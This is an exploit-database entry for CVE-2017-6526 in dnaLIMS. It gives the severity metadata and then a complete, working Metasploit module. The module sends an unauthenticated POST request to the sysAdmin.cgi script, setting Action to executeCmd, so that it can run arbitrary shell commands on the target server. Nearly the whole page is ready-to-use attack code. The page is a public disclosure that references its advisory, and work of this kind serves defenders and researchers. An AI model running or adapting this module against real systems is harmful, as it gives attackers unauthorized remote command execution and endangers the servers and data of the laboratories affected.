dnaLIMS Admin Module Command Execution

Published
Credit
Risk
2017.03.21
flakey_biscuit
High
CWE
CVE
Local
Remote
CWE-78
CVE-2017-6526
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
10/10
10/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Complete
Complete
Complete

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'dnaLIMS Admin Module Command Execution',
'Description' => %q{
This module utilizes an administrative module which allows for
command execution. This page is completely unprotected from any
authentication when given a POST request.
},
'Author' =>
[
'h00die <mike@shorebreaksecurity.com>', # Discovery, PoC
'flakey_biscuit <nicholas@shorebreaksecurity.com>' # Discovery, PoC
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2017-6526'],
['US-CERT-VU', '929263'],
['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/']
],
'Platform' => %w( linux unix ),
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'RequiredCmd' => 'perl' # software written in perl, and guaranteed to be there
}
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 8 2017'
))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/'])
], self.class
)
end

def check
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'),
'method' => 'POST',
'vars_post' => {
'investigator' => '',
'username' => '',
'navUserName' => '',
'Action' => 'executeCmd',
'executeCmdData' => 'perl -V'
}
)
if res && res.body
if /Summary of/ =~ res.body
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
else
Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end

def exploit
begin
vprint_status('Sending Exploit')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'),
'method' => 'POST',
'vars_post' => {
'investigator' => '',
'username' => '',
'navUserName' => '',
'Action' => 'executeCmd',
'executeCmdData' => payload.encoded,
}
)
vprint_good(res.body)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
end


References:

https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/


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